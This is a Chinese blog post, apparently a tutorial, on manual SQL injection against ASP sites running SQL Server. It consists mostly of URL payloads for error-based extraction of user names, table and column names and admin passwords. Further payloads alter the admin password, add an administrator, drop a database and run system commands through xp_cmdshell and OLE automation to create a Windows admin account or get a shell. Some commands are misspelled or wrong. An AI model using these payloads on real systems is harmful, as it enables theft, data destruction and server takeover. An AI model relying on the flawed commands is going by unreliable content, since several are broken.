美文网首页程序员
SQL Sever手工注入

SQL Sever手工注入

作者: Waldo_cuit | 来源:发表于2018-07-16 17:01 被阅读0次

判断数据库类型

http://www.xxx.com/xxx.asp?id=xx为例子,如果用单引号、and 1=1、and 1=2检测到这个网站有漏洞,可以从加单引号后返回的错误信息中确定该网站使用的是SQL Sever数据库

image.png

获得当前用户的用户名

http://www.xxx.com/xx.asp?id=xxxx and user>0

通过上述语句可以通过报错信息得到当前用户的用户名

image.png

为什么输入and user > 0就可以得到当前用户?

因为user是SQL Sever的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。而这里拿一个nvarchar的值跟int的数的0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQL Sever的出错提示是:将nvarchar的值"xingsheadmin"转换数据类型为int的列时发生语法错误,注意,"xingsheadmin"正是变量user的值,这样,不费吹灰之力就拿到了数据库的用户名。

如果是sa登录,那么返回的错误提示是将"dbo"转换成int的列发生错误,如下图:

image.png

查询当前用户的数据信息

http://www.xxx.com/xx.asp?id=xxxx having 1=1--
image.png

其中FORUM_TOPICS.TOPIC_ID就是当前用户的数据信息。FORUM_TOPICS是表名,TOPIC_ID为列名。

继续查询当前用户的数据信息

http://www.xxx.com/xx.asp?id=xxxx group by FORUM_TOPICS.TOPIC_ID.FORUM_TOPICS having 1=1--

可以得到一个T_SUBJECT列名

image.png
http://www.xxx.com/xx.asp?id=xxxx group by FORUM_TOPICS.TOPIC_ID.FORUM_TOPICS.T_SUBJECT having 1=1--

使用上述语句可以得到其他的列名

上面的方法的原理是在SQL语句中,having 1=1--是与group by结合使用并进行条件判断的,如果语句不完整,数据库就会返回错误信息,并显示一个表名和一个列名

暴任意表名

语句为:and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc) > 1。其中N代表数据库中的第N个表。

http://www.xxx.com/xx.asp?id=xxxx and (select top 1 name) and (select top 1 name from (select top 1 id,name from sysobjects where xtype=char(85)) T order by id desc) > 1

猜解到第一个表的表名为D99_REG,如下图:

image.png
http://www.xxx.com/xx.asp?id=xxxx and (select top 1 name) and (select top 2 name from (select top 1 id,name from sysobjects where xtype=char(85)) T order by id desc) > 1

猜解到第二个表名shit_tmp,如下图:

image.png

暴任意表中的任意列的数据

语句为:and (select top 1 col_name(object_id('表名'),N) from sysobjects) > 1

http://www.xxx.com/xx.asp?id=xxxx and (select top 1 col_name(object_id('D99_REG'),1) from sysobjects) > 1

上述语句暴出D99_REG表中的第一个列名为ID

image.png
http://www.xxx.com/xx.asp?id=xxxx and (select top 1 col_name(object_id('D99_REG'),2) from sysobjects) > 1

上述语句暴出D99_REG表中的第二个列名为Data

image.png

暴出数据库中的数据

语句为:and (select top 1 列名 from 表名 where id=N) > 1 其中N代表第N条数据。

http://www.xxx.com/xx.asp?id=xxxx and (select top 1 username from admin where id=1) > 1

上述语句可以猜解出admin表中username的第一条数据。

http://www.xxx.com/xx.asp?id=xxxx and (select top 1 password from admin where id=1) > 1

上述语句可以猜解出admin表中password的第一条数据。

若URL中的参数是字符

判断是否存在注入漏洞

http://www.xxx.com/xxx.asp?action=value' and 1=1
http://www.xxx.com/xxx.asp?action=value' and 1=2

判断当前的数据库类型

http://www.xxx.com/xxx.asp?action=value' and user > 0

搜索型注入

注入代码:

要搜索的关键字%'  and  注入攻击代码

判断注入漏洞(假设搜索关键字为a):

a' and 1=1
a' and 1=2

利用SQL注入修改数据库中的数据

修改管理员密码

语句为: ;update 表名 set 列名='内容' where 条件

将admin表中的username为wzh的密码改为123
http://www.xxx.com/xxx.asp?id=xx;update admin set password='123' where username='wzh'

新添加一个管理员

语句为:;insert into 表名 values(内容)--

在admin表中添加一个username为wzh,password为123的管理员
http://www.xxx.com/xxx.asp?id=xx;insert into admin values(wzh,123)--

删除数据库

语句为:;drop databse 数据库名

删除数据库hack
http://www.xxx.com/xxx.asp?id=xx;drop database hacck

获得数据库相关信息

获得数据库版本:http://www.xxx.com/xxx.asp?id=xx and (select @@version) > 0
获得当前数据库名:http://www.xxx.com/xxx.asp?id=xx and db_name() > 0
获得当前数据库用户名:http://www.xxx.com/xxx.asp?id=xx and user > 0
注:user、SESSION、CURRENT_USER、SYSTEM_USER都可以获得当前数据库用户名
判断是否支持多句查询:http://www.xxx.com/xxx.asp?id=xx;declare @a int--
判断是否支持子查询:http://www.xxx.com/xxx.asp?id=xx and (select count(1) from [sysobjects]) >= 0

利用数据库的扩展存储过程(exec master..xp_cmdshell)

注:主要在;exec master..xp_cmdshell后加上引号和引号内写入一些DOS命令

查看服务器上的C盘根目录下的文件和文件夹

http://www.xxx.com/xxx.asp?id=xx;exec master..xp_cmdshell 'dir C:\'

加一个管理员账号

往服务器里面加了一个123的管理员
http://www.xxx.com/xxx.asp?id=xx;exec master..xp_cmdshell 'net user 123 123/add'
http://www.xxx.com/xxx.asp?id=xx;exec master..xp_cmdshell 'net localgroup administrators 123/add'

关于扩展存储过程

判断扩展存储过程是否存在

http://www.xxx.com/xxx.asp?id=xx and SELECT count(*) FROM master.dbo.sysobjects WHERE xtype='X' AND name='xp_cmdshell'
如果返回正常则说明扩展存储过程存在,返回不正常的话就说明不存在。

若扩展存储过程不存在,恢复存储过程

语句为:;exec sp_addextendedproc xp_cmdshell,'xplog70.dll'

执行如下语句,网站http://www.xxx.com/后台的数据库的扩展存储过程就被恢复了:
http://www.xxx.com/xxx.asp?id=xx;exec sp_addextendedproc xp_cmdshell,'xplog70.dll'

如果要删除扩展存储过程,执行如下语句:
http://www.xxx.com/xxx.asp?id=xx;exec sp_addextendedproc xp_cmdshell

通过访问OLE对象访问OLE控件间接获得shell

注:要得到shell,要用到两个关键函数,"sp_OACreate"和"sp_OAMethod"。

http://www.xxx.com/xxx.asp?id=xx;DECLARE @S INT EXEC SP_OACREAT 'wscript.shell',@s exec master..SPOAMETHOD @s,'run',null,'cmd.exe/c dir C:\'
执行的结果是返回遍历服务器C盘下的所有文件,同时达到一个shell的功能,但是注意,需要是SA权限才能够执行

相关文章

  • SQL Sever手工注入

    判断数据库类型 以http://www.xxx.com/xxx.asp?id=xx为例子,如果用单引号、and 1...

  • 手工SQL注入

    出现原因 服务器程序将用户输入的参数作为查询条件,服务器对参数不严格校验就拼接sql语句。如SELECT * FR...

  • 2019-11-13

    mysql手工注入 一、SQL注入的理解 将特殊SQL语句添加到查询url后面,以获取非法的数据的操作。 ...

  • SQL注入-手工注入方法

    库名 表名 不使用双引号也可直接使用十六进制(0x****) 列名 数据 核心语法

  • Sql注入之sqlmap+dvwa实例演练

    相信很多同学都已经知道了什么是sql注入,也明白为什么会发生sql注入。也可以通过在输入框和url中“手工”注入,...

  • access数据库注入2-墨者靶场access注入

    https://www.mozhe.cn/bug/detail/89 手工注入 开启靶场后,既然说明了是sql注入...

  • web训练sql注入中级练习-墨者学堂

    sql注入实战mysql(进阶版) 看这个是base64编码 手工注入注入不出来。。。 使用sqlmap跑提示使用...

  • 【转】手工sql注入

    1.判断是否有注入 ;and 1=1 ;and 1=2 2.初步判断是否是mssql ;and user>0 3....

  • SQL手工注入-记录

    https://www.cnblogs.com/vame1/p/5776808.html 比方说在查询id是50的...

  • Sqlmap初学 实验吧 简单的SQL 一

    在学习sql注入的过程中,一开始只想着怎么手工注入,却发现手工注入的道路,说麻烦不麻烦,但是说简单也很不简单,相...

网友评论

    本文标题:SQL Sever手工注入

    本文链接:https://www.haomeiwen.com/subject/oivbpftx.html